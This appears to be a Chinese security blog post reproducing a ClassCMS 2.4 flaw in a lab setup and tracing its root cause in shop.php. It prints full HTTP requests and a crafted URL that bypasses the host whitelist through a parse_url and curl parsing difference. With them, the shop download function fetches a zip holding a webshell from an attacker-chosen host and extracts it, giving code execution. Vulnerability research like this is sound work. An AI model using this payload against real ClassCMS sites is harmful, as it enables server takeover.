ClassCMS2.4漏洞复现

  • ClassCMS2.4漏洞复现

    • 环境搭建

    • 任意文件下载漏洞复现

    • 漏洞成因

ClassCMS2.4漏洞复现

CMS源码在附件中

环境搭建

使用phpstudy2016搭建web环境,php版本为5.5
安装CMS
这里选择Mysql数据库进行安装

图片

用户名和密码都写默认的admin方便记忆
输入完成后点击安装

图片

点击安装

图片

CMS的安装过程中有个报错忽略就好,登录不进后台的话刷新一下页面

进入了ClassCMS的后台

图片

任意文件下载漏洞复现

在后台访问应用商店

图片

任意点击一个下载

图片


进入下载页面后点击 下载 进行抓包

图片

我们先放掉第一个包

图片

POST /admin?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1

Host: 192.168.12.144

Content-Length: 47

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.12.144

Referer: http://192.168.12.144/admin?do=shop:index&bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&action=detail&classhash=debugswitch

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230

Connection: close



classhash=debugswitch&version=1.0&csrf=b472e230

然后修改第二个请求包

图片

//第二个数据包



POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00

Connection: close



classhash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=b472e230

数据包参数解析

classhash为解压出来的最后文件名

url为了绕过过滤设成如下形式

http://@ip:80@classcms.com/shell.zip

远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包

csrf参数不动即可

发送之后返回:下载完成

就说明已经成功被下载到目标服务器上并解压

最后访问url即可执行上传上的木马getshell

http://ip/class/{classhash的值}/{上传压缩包中的木马文件}

我们安装上面的格式修改数据包上传一个木马文件

先在网站根目录创建一个木马文件,然后把他压缩成压缩包

图片

图片

然后再重新构建第二个数据包

//第二个数据包



POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230

Connection: close



classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=b472e230
直接修改数据包后放包也可以
 

图片


把修改后的数据包提交
 

图片


提交成功

图片

访问http://192.168.12.144/class/shell/shell.php
 

图片


可以看到木马上传成功了,在本地也可以看到下载的shell.zip文件

图片

漏洞成因

经白盒测试发现在/class/shop/shop.php中
通过全局搜索,“下载完成”定位到此处

图片

图片


一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass
 

图片


this(当前文件shop.php)->download函数下,定位到关键函数download
 

图片

图片


函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
定位函数defaultHost

图片


只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令​​​​​​​

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {

Return false;

}

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

php-curl拓展解析的url host在第首个@之后
而parse_url则是最后一个@之后
所以构造处payload

http://@http://192.168.12.144:80@classcms.com/shell.zip

看到这里了,点个“赞”、“再看”吧​​​​​​​

免费领取安全学习资料包!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
classcms是一款常见的内容管理系统,其代码审计是对其源代码进行逐行检查和分析的过程。通过代码审计,我们可以评估classcms安全性和漏洞风险,并提供相应的修复建议。 首先,代码审计可以检查classcms的输入验证和过滤机制是否健全。这包括用户输入的数据是否被适当地过滤和转义,以防止SQL注入、跨站脚本攻击等常见的漏洞。 其次,代码审计可以查看classcms是否存在任何明显的安全漏洞。例如,是否有未经验证的文件上传功能,是否在用户身份验证过程中使用了弱密码加密算法,是否以明文存储敏感信息等。如果发现这些问题,就需要及时修复以提升系统的安全性。 此外,代码审计还可以识别潜在的业务逻辑漏洞。例如,classcms是否存在会话固定、越权访问等安全问题,是否正确实现了用户权限控制,以及用户身份验证是否完整和准确。这些问题的存在可能会导致未授权的用户访问敏感数据或执行特权操作。 最后,代码审计还可以检查classcms是否使用最新的安全修复程序。定期更新classcms以及相关的第三方库和插件是保持系统安全的重要措施之一。通过代码审计,可以排查是否有遗漏的安全补丁,以保障classcms处于一个相对安全的状态。 总之,通过代码审计,我们可以全面了解classcms安全性,并提供相关的修复建议,以帮助系统管理者和开发者提升classcms安全性水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值